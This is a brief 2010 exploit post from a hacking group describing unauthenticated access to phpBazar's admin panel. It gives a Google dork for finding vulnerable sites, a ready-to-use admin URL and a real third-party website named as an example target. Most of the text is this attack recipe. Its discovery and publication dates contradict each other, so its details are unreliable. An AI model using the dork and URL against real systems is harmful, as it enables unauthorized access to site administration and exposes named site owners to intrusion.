phpbazar-disclose.txt
Posted on 23 July 2010
===================================== phpBazar admin path discloser Vulnerability ===================================== Author :: Net_Spy Group :: Aras cyber Army Email :: tvc82_2002@yahoo.com Discover :: 1 july 2010 Critical Lvl :: M Publised :: 22 june 2010 vender :: n/a --------------------------------------------------------------------------- ~~~~~~~~~ Dork :: intitle: phpBazar-AdminPanel ~~~~~~~~~~~~~~~~~~ demo :: http://www.target.com/admin/admin.php?action=logging&orders=userid&sort=asc&offset=0&poffset=0 ~~~~~~~~~~~~~~~~~~~~~~~~~ Example Just For Edu :: http://www.kmlogsdon.com/admin/admin.php?action=logging&orders=userid&sort=asc&offset=0&poffset=0 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +++++++++++++++++++++++++++++++++++++++ [!] greetiz to :: DrgPxX,D3stan,hackfaz,hamed.err000r,Net_Spy,jawadn All aras cyber amry members +++++++++++++++++++++++++++++++++++++++